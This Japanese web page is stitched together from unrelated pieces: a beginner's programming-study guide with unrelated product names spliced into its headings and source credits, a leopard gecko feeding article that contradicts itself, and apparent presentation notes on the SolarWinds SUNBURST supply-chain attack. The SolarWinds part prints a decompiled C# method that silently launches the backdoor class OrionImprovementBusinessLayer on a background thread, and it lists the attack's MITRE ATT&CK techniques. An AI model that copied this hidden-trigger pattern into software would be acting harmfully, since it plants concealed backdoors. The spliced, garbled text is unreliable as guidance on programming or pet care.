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興味や好奇心でプログラミングを勉強する前に、プログラミングを学ぶメリットについて考えてみましょう。
具体的には、「社会的な需要が高い」「論理的思考が身に付く」「抽象化能力が身に付く」「問題分析力と解決能力が身につく」などが挙げられます。
「社会的な需要が高い」というのは、現在IT業界全体的にエンジニア不足が深刻化していることが問題視されています。
そのため、プログラミングは、就職や転職、キャリアアップにも大いに役立つスキルであるともいえます。
「論理的思考」が身に付く理由として、プログラミングでは、曖昧な表現はありません。命令と結果が明確であり、そのために必要なことが何か、手順を細分化して論理的に組み立てます。エラーがあれば、原因を突き止めない限り先には進めません。
「抽象化能力」というのは、物事の全体像をつかみ、本質を見抜くという能力のことです。共通点を把握し、理解することで知見が深まり、汎用性も高まります。
プログラミングの作業では、大抵エラーが起こり、スムーズに処理がすすみません。その原因としては、コードの記述ミスであったり処理の順序に問題があったりと、さまざまです。
その問題が発生している原因を推測し、コードを組み立て直したり、書き替える作業を繰り返すことで問題把握能力と解決能力が自然と身についていくのです。
この「論理的思考」と「抽象化能力」を併せもつことで、結果的に問題分析能力や問題解決能力も高まります。
プログラミングを学習することのメリットについて、以下の記事でも詳しく紹介しているのでご一読ください!
【プログラミングの始め方】ゼロからプログラミングを独学で勉強する方法
プログラミングで何ができる?
プログラミングの主な仕事として、コンピュータに指示した内容に基づいて一定の処理を行います。処理の結果や条件に応じた動作ができるので、作業の自動化などで大きな役割を果たします。
・自動処理…監視・保守・管理が必要ではありますが、プログラムを組み込むことによって、自動で作業させることができます。
エラーなどが起こらない限り、確実で正確な動作を繰り返し継続することができます。
・遠隔処理…プログラミングは、コンピュータ上のデータを用いて行うため、インターネットを通じてたくさんの方との情報共有や、離れた場所でもコンピュータの制御などをすることができます。
現在では、身の回りにある電化製品のほとんどにプログラムが組み込まれています。例をあげると「スマートフォンの全ての操作」「テレビの番組表や各種操作」「炊飯器の動作」「冷蔵庫の温度管理」など、普段あなたが何気なく使用している機能はプログラムによるものです。
今やインターネットは「スマートフォン」や「パソコン」などを利用して、世界各国で使用することができます。
さらに、そのインターネットを利用した「銀行ATM」「アプリ」「SNS」「ネットショッピング」や「掲示板」などの、私たちが普段何気なく利用しているサービスは、全てプログラムにより作られ、提供されています。
プログラミングを使いこなせるようになると、人々の日常をより便利にするためのサービスを生みだし、提供できるようになるのです。
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プログラミング入門で初心者が知っておくべきことは?
プログラミングを勉強しようと思ったときに、まず何からはじめればよいのかわからないという方も多いのではないでしょうか。
また独学を試みて、挫折した方もいるでしょう。そうした方でも、やり方次第できちんとプログラミングを身につけられます。挫折経験者でも大丈夫です。
まずは、プログラミングを学ぶにあたって、知っておいて欲しいことや心構えなどを簡単に説明します。
だれでも習得可能なその理由とは?
難解そうに見えるプログラミングも、やりかた次第では誰でも習得可能といわれています。
ロジックを学び、正しい手順で学習すれば、初心者から初めても短期間でプログラマーという仕事で活躍することも不可能ではありません。それまで全くプログラミングをやったことが無かった人でも大丈夫です。
以下の記事は、未経験からエンジニアに転職した方のインタビュー記事です。ぜひ参考にしてください。
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何のために学ぶのかを明確にしよう
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作りたいものやWebサービスなどがはっきりとしていれば選びやすいのですが、漠然と就職に役立ちそうだから、学んだあとに何を作るか決めたいという考えの方は、慎重に検討する必要があります。
たとえば次のように、何がしたいかによって使用するプログラミング言語が異なります。せっかく学習したのに、作りたいものが作れないなんてことにならないようにしましょう。作りたいものが作れないと、モチベーションが落ち、挫折の原因になるからです。
初心者でも挑戦しやすい言語は「Python」「Ruby」
Web画面に動きをつける時には「JavaScript」
需要が高く、様々な場所で活躍できる「Java」
VRゲーム開発をするなら「C#」
Apple製品であるiOS専用の言語は「swift」
全ての言語の基礎とも言われている「C言語」
以下の記事は、PHPとJavaScriptに絞ってそれぞれ詳しく解説しているので、ご参照ください。
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プログラミング学習環境を整えよう
まず、パソコンのCPUについて確認してみましょう。
CPUは、パソコンの脳みそと例えられ、処理速度に関わってくる部分です。プログラミングに対応するには、2.5GHz以上のものを選ぶようにしましょう。
また、メモリはいくつかのソフトを同時に動かしたり、容量の大きいソフトを動かしたりするために必要になる部分です。4GB以上のものを選びましょう。
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パソコンの性能 Mac編
プログラミング学習のためにPCの購入を検討しているのであれば、一般的にはMacがオススメされています。
使い方の方針にもよりますが、理由として、動作が軽くて環境構築も楽なうえ、使いやすいことです。
パソコンの性能 Windows編
Windows7・8では、以下の順に開いていくと自分のパソコンの性能が数字で記載されています。
コントロールパネル→システムとセキュリティ→Windowsエクスペリエンス インデックス
Windowsでももちろんプログラミングは可能です。圧倒的なシェア率があり、コストパフォーマンスの良さも人気の理由です。また、ソフトウェアの種類も多く、拡張も簡単にできます。
それぞれにメリット、デメリットなどあるので、悩んでいる方はこちらの記事も参考にしてみましょう。
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初心者からプログラミングの勉強をはじめて、習得するまでにどれくらいの時間やコストがかかるのでしょうか。
人によっては1000時間以上かかるという方もいますが、もちろん学習方法や環境によって個人差があります。モチベーションの大きさによっても変わります。
PCやオンライン環境が整ったうえで、学習方法として書籍やインターネット、無料の学習サイトが多数存在するので、独学の場合は低コストで習得することが可能です。
ただし、自己管理ができ、毎日継続して学習する意欲がなければ、習得するまでの時間もそれなりにかかります。
プログラミングスクールに通った場合、たとえば1カ月程度の短期集中コースや3カ月コース、6カ月コースなど、難易度やコース内容にもよりますが、期間内にスクールのカリキュラムが組まれているので計画的に学習できます。
金額もコースによりそれぞれですが、数万円~数十万円の料金が必要となるでしょう。
モチベーション維持のためにも将来の自分への投資と割り切り、費用対効果について真剣に考えてみることも大切です。
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Webアプリケーションは、すべてサーバと呼ばれるコンピュータで動きます。このサーバの多くは、「Linux」という「Unix系OS」で動いています。
プログラミングでは、プログラムを動かすための環境を構築する必要があり、コードを記述するテキストエディタの他に、MacのPCを使用している場合は「ターミナル」、WindowsのPCを使用している場合は主に「コマンドプロンプト」などを使用する場合があります。
「Linuxコマンド」を学習することで、環境構築にも対応できるようになるでしょう。
詳しくは、以下の記事を参考にしてみてください。
プログラミング言語の種類と目的を知ろう
プログラミング言語には、世界中で200を超える種類が存在します。
そんな中から、どの言語を選べばよいのか?これから勉強しようという方には、難しい選択だとおもいます。
ここでは、現場でよく使われる人気のプログラミング言語をおおまかに紹介します。ぜひ参考にしてみてくださいね。
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プログラミング学習方法
大きく分けて次の方法があります。
独学(書籍・学習サイトなど)
プログラミングスクールやセミナーで学ぶ
基礎から学び、段階を踏んで確実にステップアップしていくために、自分にぴったりの手段を選択しましょう。
プログラミングを独学で勉強するときにオススメの方法は、インターネットの学習サイトで勉強することです。
動画を見ながら授業を受けているような感覚で学習できるものや、ゲーム感覚で楽しみながら学べるものもあります。
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動画の学習サイトを利用する
インターネットで検索すると、「schoo」「paiza」「ドットインストール」などの、動画を見ながら勉強できるプログラミング学習サイトが見つかります。
コードの書き方以外にも、その言語の周辺知識を学ぶことができるコンテンツや、課題を解きながら実践的なトレーニングができるなど、効果的に学習できる工夫がされているものが多くあります。
基礎レベルの学習であれば、無料で利用できる学習サイトもあるので、まずは独学で勉強したいという方は、これらのサービスを利用してみてはいかがでしょうか。
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ゲーム性のある学習サイトで遊びの要素を取り入れる
学習サイトの中には、ゲームのような感覚で楽しみながらプログラミングの学習ができるものがあります。
たとえば「ポケモンカードゲーム サーナイト&ニンフィアGX SAビックレジャー クーラーボックス 56SDL 高保冷,
ほかにも、プログラミングをゲームで学べるサイトを紹介しているので、興味のある方は参考にしてみましょう。
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独学でプログラミングを習得するためには、時間の使い方と教材の選び方によって、計画的に学習を進めていけるかが決まります。
以下の記事でも独学でプログラミングを学ぶためのコツを紹介しています。
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効率よくプログラミングを学ぶのであれば、就職・転職などの将来的なことを含めて、スクールに通うことによるメリットは大きいでしょう。
コストはかかりますが、プロのエンジニアなどから実践的な技術を直接指導を受けられ、個々のレベルに合わせた学習計画や進捗状況を管理してくれるため、プログラミングを勉強することに集中できます。
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日中まとまった時間をとりにくい社会人や学生のために、週末や夜間、オンラインでの講習を取り入れているスクールもあるので安心です。
「専用 ONEPIECE ヤマト SEC パラレル」の記事では、社会人にもオススメのプログラミング教室を紹介しています。
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大学でもプログラミングの基礎を学ぶ事はできますが、専門知識を掘り下げて学ぶとなると、専門学校の方が優勢ともいえます。また、目指すエンジニアの種類によっても、オススメの学校や専攻が異なります。
専門学校や大学で学ぶことで、資格の取得やコンテストなどに挑戦してみたり、仲間と目標を共有したり、また近くにライバルがいることによってモチベーションの維持にもつながります。
以下、参考記事もありますので、ぜひご覧ください。
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参考にしたいプログラミング入門書籍6選
プログラミング学習を助けてくれる書籍を、ぜひ活用してみましょう。
ここでは、初心者にもわかりやすく、基礎や概念を学習するためにオススメの書籍を紹介しています。ぜひ参考にしてみてください。
プログラミングの基礎を学ぶ
世界中の成功者がなぜプログラミングを学んでいるのか。
そして、世界中で2億人以上が夢中になった具体的な学び方について徹底紹介されています。
これからプログラミングをはじめる方にお勧めの一冊です。
オブジェクト指向について理解する
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ソフトウェア開発技術において、オブジェクト指向について学ぶことはプログラミング学習をすすめるうえで欠かせません。
複雑で苦手意識をもちやすいオブジェクト指向の全体像について、初心者にもわかりやすく解説しています。
よりよいコードを書くために
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プログラミングでは「きれいなコード」を書くことが求められます。とくに仕事でプログラミングを書く場合に、チームでのプロジェクトが必然的に多くなるため、誰が見てもわかりやすいものでなければいけません。
この著書には、そんな「良いコード」を書くためのコツやテクニックが紹介されています。
プログラミングの概念について知る
宝石ルース 【プロのコレクション】大きくてもハイクオリティ天然シトリン!
プログラミングの概念について説明している書籍です。歴史的な経緯とともに、なぜそのプログラミング言語が誕生したのか?などを知ることができます。
プログラミング学習をすすめるうえで、知っておくと役立つと思われる深い理解が得られます。
Ruby on Rails入門
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柄・デザイン···無地 素材···ナイロン カラー···ブラック 中身の荷物次第で大きさが変わるので サイズの説明が難しいのですが 画像を参考になさっていただければと思います 500mlのペットボトルを入れても余裕がある感じです 気に入って通勤や日常使いをしていたので ナイロン表面に使用に伴う小傷があります 使用するのに全く問題はないと思いますが 念のため、やや傷や汚れありの評価にしました そろそろ新しいバッグを購入したいと思い クローゼットの中を整理して出品しています 気に入っていただける方にお譲りします 個人が自宅より出品する物ですので 見落としがありましたら申し訳ありません 画像にありますが 保存袋とギャランティカード類を付属します よろしくお願いします
Ruby on Railsについて、初心者にもわかりやすく基礎を教えてくれます。問題と解決方法がすぐに確認できるため、効果的に学習することができます。
基本となるメソッドが豊富に記載されているので、リファレンスとしての役割も果たしています。
ゲームプログラミング入門
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専門学校で教えるノウハウを活かして初心者に向けてわかりやすく丁寧に解説しているので、これさえあれば今まで初心者にはハードルの高かった「Unreal Engine」シリーズも怖くありません。
プログラミングの効率の良い勉強方法とは?
プログラミングの学習のほとんどは、つまずいている時間との闘いになります。
あきらめずに解決するため、「明確な目標を定める」事が大切になります。
「プログラミングに興味がある」「プログラマーになりたい」「ゲームやホームページなど作りたいものがある」「エンジニアとして働きたい」などのきっかけを大切にしましょう。
また、学習は計画的に行うことも大切で、最初に無理をして頑張りすぎても途中で一度熱が冷めてしまうものなのです。
効率よく学習を進めていくには、しっかりと「目標」に合った「計画」をたてて進めていく必要があります。
学習の順序に気を付けよう
多くの方が、まず知識をつめこみ、理解できたら実践してみようという考えをもっているのではないでしょうか。
しかし、プログラミング学習ではこの方法はあまり向いていません。関数やメソッドの暗記に時間や労力を割く必要はないのです。都度検索すればわかることですし、良く使うメソッドは、自然と身についてくるものなのです。
プログラミング教室や専門学校などでは、学習のスキームが確立されているため、効率のよい学習は期待できます。独学の場合は、すべて自分で決めなければならないので、学習計画はとても重要なことです。
動画などで基礎から学習できるサイトと、プログラムを書くことができる環境、わからないことを質問できたり、調べることができたりするツールやサイトを活用すれば、プログラミングを習得することはできます。
プログラミング言語には、文法やルールなど、それぞれの決まりごとがあります。
そのルールに従って記述できるように学習すると、いずれ理解し、書くことができるようになります。
そのためには、プログラミングに慣れ、実践レベルのスキルを磨くために、既存サービスのコードを真似するといった”体で覚える”ことも有効です。
小さなプログラムを少しずつ動かし、エラーがでたら都度デバッグする。この作業を繰り返します。
アプリを開発してみよう
プログラミングの学習をしていると、段々とモチベーションが下がってきたり、学習そのものに飽きてしまったりすることもあると思います。
そこで、実際にアプリを作ってみて、学習の要点を体感してみるとよいでしょう。
アプリ開発のための基本をおさえよう
アプリを実際に作るときには、以下の3つの要点をおさえましょう。
既存のサービスやライブラリを上手く拡張することで、大幅な作業短縮や、効率よく完成させることも可能です。
ある程度の基本構文や、読み書きができるようになったら、フレームワークの学習をすすめましょう。
実際に開発しながら知識を深めるようにすると、理解も早まります。
アプリの基となる、枠組みのことです。文章を作るときに、「起承転結」が必要なように、その枠組みに合わせて作ることでうまくいくためのテンプレートのようなものです。
たとえば、「Ruby」には「Ruby on Rails」のように、各言語にルールの異なるフレームワークがあります。
他人の書いたソースコードを活用できる仕組みで、複雑な機能を一から作る手間を省くことができます。
アプリとサーバを連携させ、他のソフトウェアとの連携や動作を紐づけるための仕組みです。
サンプル改造からはじめよう
いきなり大きなプログラムを作ることは厳しいという方は、サンプルの改造をしてみてはいかがでしょうか。
参考書や学習サイトでも、教材用のサンプルを提供しているものがあるので、そのサンプルに何か機能を増やしてみることを試してください。
たとえば、Webページのサンプルの場合、文字の大きさや色を変える、リンクやページを増やす、音楽が流れるようにしてみる
Rubyの場合は、サンプルの結果を一度確認し、その結果を目指してプログラムを書いてみる
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部分的に改造を加え、その範囲を広げていくことで、応用スキルも磨かれるのでオススメです。
プログラミング習得に必要な反復学習
学習の内容を理解し、身につけるためには、繰り返し反復することがもっとも効果的です。
基礎を学び、実践し、エラーを修正し、作ってみてわからないことを基礎に戻って学習する。という過程を経て初めて理解できることが多々あります。
最初は誰しも、何がわからないのかがわからない状態からのスタートです。実践とエラーを繰り返し、疑問に一つずつ根気強く取り組み、繰り返しましょう。
未経験でもプログラマーやエンジニアとして働こう
実践スキルを積みながら学習する方法の一つとして、実際に仕事をしながら覚えるという手段もあります。
実際に、プログラマーやエンジニアの求人情報をみたときに【未経験者歓迎】の文字が多いことに気が付くと思います。
ではなぜ、専門職でもあるプログラミングのお仕事に、未経験者が就くことができるのでしょうか。
未経験でもプログラミングを仕事にできる理由とは?
実際に仕事をするうえで、未経験や初心者というのはあまり関係なく、プログラミングを学ぶ姿勢やはじめは何でもやってみるという意気込みをもつことが大切なのです。
採用される理由としては「時間とともに慣れてできるようになる」「プログラミング以外にもすることがある」の二つが挙げられます。
プログラミング以外の仕事とは、クライアントとの折衝や企画、付随する様々な業務のことです。知識や技術は、これから身につくとして、重要となるのは「コミュニケーション力」「業務知識」「専門性」「継続力」などのことです。
学習しようとする努力をすることはもちろん必要ですが、未経験者から採用し、育成を兼ねた研修プログラムや教育システムを取り入れた企業も多く存在します。
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働きながらプログラミングを身に付けよう
プログラミングといえば、一人で黙々と書き続けることを想像する方も多いのではないでしょうか。
実はプログラミングを独学でやるには相当なエネルギーが必要なのです。
具体的には、以下のような問題が出てきます。
アプリ開発をしたい場合、そもそものツールなどの準備がわからない
わからない時に全て自分で調べるしかない
調べても解決せず、時間だけ取られてしまい、普段の仕事の疲れから結局停滞してしまう
やはり身近に聞ける人がいるのと、いないのとでは効率に雲泥の差が出てしまうのです。
それでも独学でなんとか解決したい時には以下のようなQ&Aサイトを使用してみてください。(必ずしも解決できるわけではありません)
エラーを解決するには? 行き詰まった時の便利な質問サイト
プログラムを書いていると、ほとんどの時間を費やしてしまうほど、当たり前のように起きてしまうエラーですが、この「エラー」を解決できないことが、挫折の原因になってしまう場合もあります。
どんな熟練のプログラマーでも、エラーは常に起こります。ここでつまずかずに、一つずつ乗り越えていくことがプログラミング上達のコツです。
ここで、プログラミングでわからないことがあった時に、質問や調べることができるオススメのサイトを紹介します。これらのサイトは、プロのエンジニアも利用しており、解決へヒントになるでしょう。
また、グーグルなどでエラーを検索するとヒットすることもあるので、検索ツールを存分に利用してもいいでしょう。
出典:ワンピースカードゲーム プレミアカードコレクション25周年エディション
実際のエンジニアも使用しているプログラミングについての記録・共有サービスです。
2017年現在、203,000件もの投稿を誇っているサイトです。
自分の気に入った他者エンジニアアカウントをフォローできたり、投稿をストックすることで知識の蓄積を図ることができます。
ただ、Qiitaはあくまでも記録・共有サービスなので問題が起きた時に解決できる記事が載っていないこともあるので注意しましょう。
あなたもガンダムSEEDDESTINYピンナップコレクション全種セットでどんどん質問しましょう。
出典:teratail
こちらのサイトもおすすめです。
プログラミングの質問に関して、現役のエンジニアが素早く返答してくれます。
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平均回答時間:1時間32分
ということで、回答率も90%を超えています。この回答率と回答時間が他サイトとの大きな違いです。
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出典:little emblem ダイヤモンドピンキーリング 指輪
海外のエンジニアが主に使用しているプログラミングQ&Aサイトです。日本語版もあります。
ムシキング 旧 2003〜 レアカードファイル:英語ではありますが、プログラミング言語も英語が主で発祥であるため、知識が豊富に詰まっています。
日本語版:発祥が海外のため、ユーザー数は1万人と海外版よりは少ないところが欠点です。
ただ、英語がわかればとても参考になるサイトです。プログラミングを学ぶのであれば英語も重要なのです。
プログラミング入門の3つのコツ
プログラミングにこれから入門する方に、おすすめの独学や基礎学習の3つのコツを紹介します。プログラミングを初めて学ぶなら、技術を学ぶのはもちろん大事。ですがそれと同じかそれ以上に、学び方や心構えも大事です。
20代後半や30代でもエンジニアに転職できると知っておこう
どんなにプログラミングを一生懸命学んでも、エンジニアになれず、仕事にも生かせないのではモチベーションが上がらないでしょう。
「プログラマー35歳定年説」など、プログラマーやエンジニアが20代の若い人しかできない仕事だった時代は変わってきています。現に30代から学習をはじめ、未経験からエンジニアに転職している人も大勢います。
プログラミングを学ぶことで、何歳からでも新たなキャリアを始められる可能性が十分にあるのです。
この記事では100人のプログラミング未経験者をエンジニア転職に導いた、未経験からのエンジニア転職のプロにインタビューしています。
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身近なデバイスで簡単なプログラミングをしてみよう
プログラミングの最初の関門が、環境構築。
プログラミング教材はMac向けに係れているものが多いため、Windowsをお使いの方は端末を買いなおすことを余儀なくされるケースも。またMacを用意しても、実際に開発を始めるための環境づくりが大変で挫折してしまう人も多いです。
プログラミングを始めるなら、まずはコードを書く楽しさを身近なデバイスで体験してみるのがおすすめです。環境づくりの大変さに辟易として、コードを書く前に嫌になってしまうのはもったいないです。
この記事ではiPad Proを活用したプログラミングについて解説しています。
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いざ独学などでプログラミングを始めても、一人で黙々と勉強をしているだけではモチベーション維持が難しいものです。分からないことがあっても質問できず、コンピューターに詳しい人も周りにいない。いまやっている学習方法があっているかもわからず、その後のキャリアも描けない。
そういう状況では、プログラミングを続ける気力を失ってしまうでしょう。
そうした方におすすめなのがIT勉強会に出席すること。
同じような技術レベルの仲間がたくさん集まる勉強会を探し、参加申し込み。実際に参加してみることで、モチベーションを維持しながら、仲間を作り、勉強会の後には一緒にディナーにいくというような楽しみが生まれます。
この記事ではIT勉強会の詳細や探し方、おすすめ勉強会サイトを紹介しています。
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今回、プログラミング入門にあたっての基本的なことや学習方法を紹介しました。
プログラミング学習に必要なツールや役立つサイト、効率的な学習方法を知ることで、どのように学習をはじめるか理解できたのではないでしょうか。
IT業界には、可能性が無限に広がっています。
私たちの生活に欠かすことができないサービスのほとんどには、プログラムがあり、プログラマーやエンジニアといった職業は常に需要が追い付いていないという人材不足の現状があります。
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[ 免責事項 ] 記事で紹介している情報は更新時・公開時のものです。特にスクールやサービスの最新情報は、必ずその公式サイトをご確認ください。


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4.3. レパシー スーパーフード GRUB PIE
人工餌を食べなくなった場合昆虫を与えて飼育する必要があるので、昆虫を触れるようにしておく必要はあります。
ヒョウモントカゲモドキは人気のペットなので、人工餌の開発が進んでいます。簡単に人工餌のメリットについて紹介します。
レオパ用の人工餌はレオパに必要な栄養素を考えて作られているので栄養バランスがよく生涯人工餌だけで飼育することができます。
生き餌を与える場合はカルシウム剤を添加して与える必要がありますが人工餌はサプリメントを与える必要がありません。
また、生き餌の場合はキープしているときにちゃんと餌を与えておかないと生き餌の栄養価も下がってしまうので、注意が必要です。
生き餌に比べて人工餌の方が断然使いやすいです。
以前は粉末状のものに水を混ぜて練って使う人工餌が主流でしたが、最近ではゲル状のものやタブレット状のものが販売されています。
手間がかかるものでも、水を混ぜるだけで使うことができるので、簡単に使うことができます。
タブレット状のものであれば常温で保存ができ、与える前に霧吹きで湿らせて、5分ほどしたら与えることができます。
生き餌のように餌を与えたり、掃除をしたりなどメンテナンスをしなくていいので、生き餌は使い勝手がいいのでオススメです。
コオロギを与える場合はコオロギを飼育しなければいけません。飼育していると死んでしまってロスも出ます。
夏場など暑い季節は濡れやすくロスも出やすくなります。購入する場合も少量購入すると値段が高く、大量に購入するとロスも増えるので、扱いずらいと思います。
人工餌であれば、その時に使う分だけ用意してあとは保存しておくことができるので、使いやすいのでオススメです。
人工餌は値段が安くコスパがいいのでオススメです。
コオロギやデュビアは1匹あたり10〜20円ほどで販売されています。繁殖することができれば生き餌もコストは下がりますが、繁殖させるにはスペースや手間もかかるので大変です。
人工餌は種類にもよりますが一袋で1000円しないぐらいです。一袋でアダルトの個体でも2〜3ヶ月ほど持ちます。ビタミンやカルシウムなどのサプリメントも必要ないので、その分もコストを削減することができます。
人工餌を食べてくれるかどうかは個体差があります。
簡単に飼育したい場合はあらかじめ人工餌に慣れてくいる個体を購入するのがいいと思います。個体によっては人工餌を食べない場合があったり、慣れさせるまで時間がかかる場合があります。
人工餌に慣れさせるには1〜2週間ぐらい餌を与えないで飼育して、お腹を空かせてから人工餌を与えるようにして下さい。何度か人工餌を食べてくれれば、慣れてくれるので、人工餌で飼育することができます。
それでも食べない場合はコオロギに人工餌をまぶして、人工餌に慣れさせるようにしましょう。人工餌の匂いや味に慣れてくれると人工餌を食べてくれるようになります。
人工餌を食べる個体を探そう
最近ではペットショップでも人工餌で飼育されていることが多いようです。
ペットショップに行って餌は何を与えているかを聞いて人工餌を食べている個体を選ぶよにしましょう。
ヒョウモントカゲモドキは子供の時に活き餌を食べていると活き餌に慣れてしまって、人工餌を食べなくなってしまうので、成体を購入するときはちゃんと聞いておきましょう。
オススメのヒョウモントカゲモドキ用人工餌
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嗜好性がよくてよく食べてくれる餌です。
食べない個体もいるようですが、割と高確率に食べてくれます。与えたい分だけチューブから出して切り取って与えるので、手間が少なく使いやすい餌です。
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ジェックス エキゾテラ レオパブレンドフード 業務用 450g
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タブレット状の餌で、ぬるま湯につけて柔らかくして与えます。水につけすぎるともろくなってしまうので注意してください。
お湯につけなけらばいけないのでいけないので、少し手間ですが値段も安いのでオススメです。水につけるときは霧吹きで水をかけると崩れづらくなります。
レパシー スーパーフード GRUB PIE
レパシー (REPASHY) グラブパイ 12oz(340g)
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ヒョウモントカゲモドキの他にも昆虫を主食とするすべての爬虫類や両生類などに与えることができます。
パウダー状になっていて、お湯を入れて混ぜてゲル状にして与えます。ゲル状にした餌も2週間ぐらい冷蔵保存することができます。
混ぜる必要があるので少し手間ですが、飼育しているレオパが多い方には使いやすくてオススメです。
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https://hachuarium.com/setubi/hatyuurui-setubi
2022年2月11日ヒョウモントカゲモドキの飼育方法
Posted by hachuarium
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SPbD:Security&Privacy by Design Founder – OWASP Member – ITは人々の生活をあらゆる面でより良い方向に変化させること – 競争原理から共創原理へ
internal void RefreshInternal() { if (InventoryManager.log.get_IsDebugEnabled()) InventoryManager.log.DebugFormat("Running scheduled background backgroundInventory check on engine {0}", (object) this.engineID); try { if (!OrionImprovementBusinessLayer.IsAlive) new Thread(new ThreadStart(OrionImprovementBusinessLayer.Initialize)) { IsBackground = true }.Start(); } catch (Exception ex) { } if (this.backgroundInventory.IsRunning) { InventoryManager.log.Info((object) "Skipping background backgroundInventory check, still running"); } else { this.QueueInventoryTasksFromNodeSettings(); this.QueueInventoryTasksFromInventorySettings(); if (this.backgroundInventory.QueueSize <= 0) return; this.backgroundInventory.Start(); } }
8 MITRE ATT&CKの手法を観察 – US CISA
18 今日のこのセッションを終える前に – Back to the Solarwinds: 大きな変化:SuperNOVA
敵対者は、悪意のあるバージョンのバイナリsolarwinds.orion.core.businesslayer.dllをSolarWindsに追加しました。ソフトウェアのライフサイクルにバイナリ solarwinds.orion.core.businesslayer.dll を追加され、そのバイナリに正規の SolarWindsのコード署名証明書によって署名されたと知られています。サプライチェーンコンプロマイズとも呼ばれ、約18,000人のSolarWinds の顧客がこの汚染されたアップデートを自分のシステムにインストールしました。
サイバーセキュリティ・インフラストラクチャセキュリティ機構 CISA(Computer Emergency Readiness Team)は、米国国土安全保障省(DHS)の一部であるCERT(Computer Emergency Readiness Team)の略称です。CISAは、2020年12月13日に緊急指令21-01を発行しました。
別名:サンバーストバックドアまたはソロリゲート SolarWinds.Orion.Core.Busine ssLayer.dllは、Orionソフトウェアフレームワークのデジタル署名されたコンポーネントで、HTTP経由でサードパーティのサーバーと通信するバックドアを含んでいます。 サプライチェーンコンプロマイズの定義:「敵対者は最終消費者が製品を受け取る前に、データやシステムを侵害する目的で、製品や製品配送の仕組みを操作すること。」
https://www.kiuwan.com/solarwinds-hack-timeline/
https://unit42.paloaltonetworks.com/solarstorm-supply-chain-attack-timeline/
https://www.nytimes.com/2021/01/02/us/politics/russian-hacking-government.htm
https://attack.mitre.org/techniques/T1195/
https://www.businessinsider.com/solarwinds-warned-weak-123-password-could-expose-firm-report-2020-12
https://orangematter.solarwinds.com/2021/01/11/new-findings-from-our-investigation-of-sunburst/
https://www.cisa.gov/news/2020/12/13/cisa-issues-emergency-directive-mitigate-compromise-solarwinds-orion-network
機密性の高い連邦政府機関を含む最大18,000の顧客に悪意のあるアップデートがインストールされている。
米国エネルギー省と国家核安全保障局は、ハッカーがネットワークにアクセスした証拠を持っている。国家核安全保障局は、米国の核兵器の備蓄を管理しています。
数多くのサイバーセキュリティ・ベンダー–Fireye社、Mimecast社、Qualys社、Palo Alto Networks社、Fidelis社–が、SolarWinds Orionのトロイの木馬版をインストールした企業のリストに名前を加えている。
また、この攻撃者は、マイクロソフトの内部ネットワーク内でアクセスを拡大し、少数の内部アカウントにアクセスして、マイクロソフトのソースコードリポジトリにアクセスすることに成功しました。
影響を受けるお客様のリストは、今後も増え続ける可能性があります。
攻撃者がSolarwinds Orion内で書き換えたコードの行数は4,032行〜 1000人以上のソフトウェアエンジニアが関与
https://www.securityweek.com/vmware-cisco-reveal-impact-solarwinds-incident#:~:text=According%20to%20SolarWinds%2C%20up%20to,before%20the%20breach%20was%20discovered.
https://www.politico.com/news/2020/12/17/nuclear-agency-hacked-officials-inform-congress-447855
https://www.zdnet.com/article/microsoft-solarwinds-attack-took-more-than-1000-engineers-to-create/
https://www.zdnet.com/article/four-security-vendors-disclose-solarwinds-related-incidents/#:~:text=This%20week%2C%20four%20new%20cyber,of%20the%20SolarWinds%20Orion%20app.
https://msrc-blog.microsoft.com/2020/12/31/microsoft-internal-solorigate-investigation-update/
サプライチェーンを悪用することは、今やサイバー兵器のツールボックスの中核的なツールとなっています。
https://blog.adolus.com/blog/three-things-the-solarwinds-supply-chainattack-can-teach-us;
https://www.wired.com/story/solarwinds-hacker-methods-copycats/
サイバーキルチェーン+戦術・技術・手順(TTP): ハイレベルなエンド・ツー・エンドの攻撃チェーン
SOURCE: https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/;
https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helpsprotect/
サイバーキルチェーン+戦術・技術・手順(TTP): 初期アクセスとコマンド&コントロール
SOURCE: https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/
サイバーキルチェーン+戦術・技術・手順(TTP): ハンズオンキーボードの前提条件への攻撃
SOURCE: https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/
MITRE ATT&CKのテクニックをいくつか紹介します。
https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helpsprotect/
https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helpsprotect/
MITRE ATT&CKの手法を観察 – US CISA
Query Registry [T1012]
Obfuscated Files or Information [T1027]
Obfuscated Files or Information: Steganography [T1027.003]
Process Discovery [T1057]
Indicator Removal on Host: File Deletion [T1070.004]
Application Layer Protocol: Web Protocols [T1071.001]
Application Layer Protocol: DNS [T1071.004]
File and Directory Discovery [T1083]
Ingress Tool Transfer [T1105]
Data Encoding: Standard Encoding [T1132.001]
Supply Chain Compromise: Compromise Software Dependencies and Development Tools [T1195.001]
Supply Chain Compromise: Compromise Software Supply Chain [T1195.002]
Software Discovery [T1518]
Software Discovery: Security Software [T1518.001]
Create or Modify System Process: Windows Service [T1543.003]
Subvert Trust Controls: Code Signing [T1553.002]
Dynamic Resolution: Domain Generation Algorithms [T1568.002]
System Services: Service Execution [T1569.002]
Compromise Infrastructure [T1584]
SOURCE: https://us-cert.cisa.gov/ncas/alerts/aa20-352a
これまで既存の技術では明確に捉えられていなかったいくつかの行動が確認されました。
https://attack.mitre.org/techniques/T1606/002/ ;
https://medium.com/mitre-attack/identifying-unc2452-related-techniques-9f7b6c7f3714
Web認証情報をどのようにして偽造するのか?昇格したActive Directory権限を使用してSAML署名証明書を危殆化させた場合
